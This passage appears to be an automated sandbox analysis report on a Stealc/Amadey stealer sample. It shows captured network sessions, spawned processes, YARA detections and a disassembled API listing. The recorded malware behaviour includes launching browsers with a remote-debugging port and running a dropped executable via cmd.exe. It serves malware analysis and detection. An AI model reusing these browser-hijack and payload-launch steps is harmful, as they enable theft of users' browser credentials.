no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=105c4afc5538876aeaf51581732387982; XID=105c4afc5538876aeaf51581732387982
2024-11-23 18:53:04 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Sat, 23 Nov 2024 18:53:04 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 5a0e3b88e4d3768dc3212dc692197db6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL59-P3 X-Amz-Cf-Id: zc7pOqdZ9-AYtQUUCWybKZCcfMQLX9s6gGXZ9FhcoqalObFvzOHIqg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	49934	20.96.153.111	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:04 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=18FD64FFA0C2612823B171BFA1EB6042&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=3aa839c77ffe46e883e238d506b6cc64 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=18FD64FFA0C2612823B171BFA1EB6042; _EDGE_S=F=1&SID=10BE97B608F365AA179A82F609D16463; _EDGE_V=1
2024-11-23 18:53:04 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2730 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132530-T700343879-C128000000002113689+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002113689+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 18:53:03 GMT Connection: close
2024-11-23 18:53:04 UTC	2730	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 4a c3 b6 6b 75 6c 73 c3 a1 72 6c c3 b3 6e 2c 20 49 63 65 6c 61 6e 64 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 6e 6f 72 74 68 65 72 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Jkulsrln, Iceland\",\"cta\":\"https:\/\/www.bing.com\/search?q=norther

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:04 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:53:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:04 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 3272c5ec-601e-003d-7d76-3b6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185304Z-174c587ffdfldtt2hC1TEBwv9c0000000380000000002q22 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:53:04 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:04 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:53:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:04 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 7f04ed54-d01e-008e-5c68-3c387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185304Z-178bfbc474bfw4gbhC1NYCunf400000004z00000000015fr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:53:05 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:04 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:53:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:05 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: e7fe902a-801e-0067-6164-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185305Z-178bfbc474bnwsh4hC1NYC2ubs00000004y000000000b2zr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:53:05 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Target ID:	0
Start time:	13:52:12
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x440000
File size:	1'809'920 bytes
MD5 hash:	6AF05407143697F6C49BD94E5903F73A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2808726790.0000000000441000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2251663743.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2812126951.00000000010CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:52:28
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:52:29
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2824 --field-trial-handle=2776,i,10771132185117842424,4452386678917931713,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:52:40
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:52:40
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2220,i,17669870476821069415,9819844109615631793,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:52:40
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	13:52:42
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2876 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	13:52:46
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6556 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:52:46
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6716 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:52:48
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7236 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:52:48
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7236 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:53:10
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFHJDBKJKFI.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:53:10
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:53:10
Start date:	23/11/2024
Path:	C:\Users\user\DocumentsFHJDBKJKFI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsFHJDBKJKFI.exe"
Imagebase:	0xd30000
File size:	1'924'608 bytes
MD5 hash:	56A8D0EA738568054D6A68992C06AF83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.2887895698.0000000000D31000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000003.2795756213.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	13:53:13
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7ff7934f0000
File size:	1'924'608 bytes
MD5 hash:	56A8D0EA738568054D6A68992C06AF83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000003.2825126451.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.2865411900.0000000000101000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	13:53:18
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x100000
File size:	1'924'608 bytes
MD5 hash:	56A8D0EA738568054D6A68992C06AF83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.2872409657.0000000005150000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.2912852479.0000000000101000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	13:53:41
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6768 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	13:54:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x100000
File size:	1'924'608 bytes
MD5 hash:	56A8D0EA738568054D6A68992C06AF83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000026.00000002.3452724623.0000000000101000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000026.00000003.3284178172.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	13:54:13
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008496001\rh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008496001\rh.exe"
Imagebase:	0x990000
File size:	1'984'512 bytes
MD5 hash:	4CECB04D97630CC2D5CCE80368B87FDD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 24%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9335A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BF688,00001000), ref: 6C9335D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9335E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9335FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C93363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C93369F
__aulldiv.LIBCMT ref: 6C9336E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C933773
EnterCriticalSection.KERNEL32(6C9BF688), ref: 6C93377E
LeaveCriticalSection.KERNEL32(6C9BF688), ref: 6C9337BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9337C4
EnterCriticalSection.KERNEL32(6C9BF688), ref: 6C9337CB
LeaveCriticalSection.KERNEL32(6C9BF688), ref: 6C933801
__aulldiv.LIBCMT ref: 6C933883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C933902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C933918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C93394C

Strings

AuthcAMDenti, xrefs: 6C933946
QPC, xrefs: 6C9338FC
MOZ_TIMESTAMP_MODE, xrefs: 6C9335DB
GenuntelineI, xrefs: 6C933639
GTC, xrefs: 6C933912

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 8e51f42e08f6a77178f586e59a773c95447167e031a9fe9846bb919c6c4530a7
Instruction ID: a0bc96b127170bdefd735f88a6772bb9dde8e2905c181f8a92bba54d538c89c4
Opcode Fuzzy Hash: 8e51f42e08f6a77178f586e59a773c95447167e031a9fe9846bb919c6c4530a7
Instruction Fuzzy Hash: BEB1A079B08315EFDB08DF28C44561B77F9BB8A708F25892EE899D3790D770D8018B89

Function 6C94C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C94C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C94C969
GetSystemInfo.KERNEL32(?), ref: 6C94C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C94C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C94C9E2

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
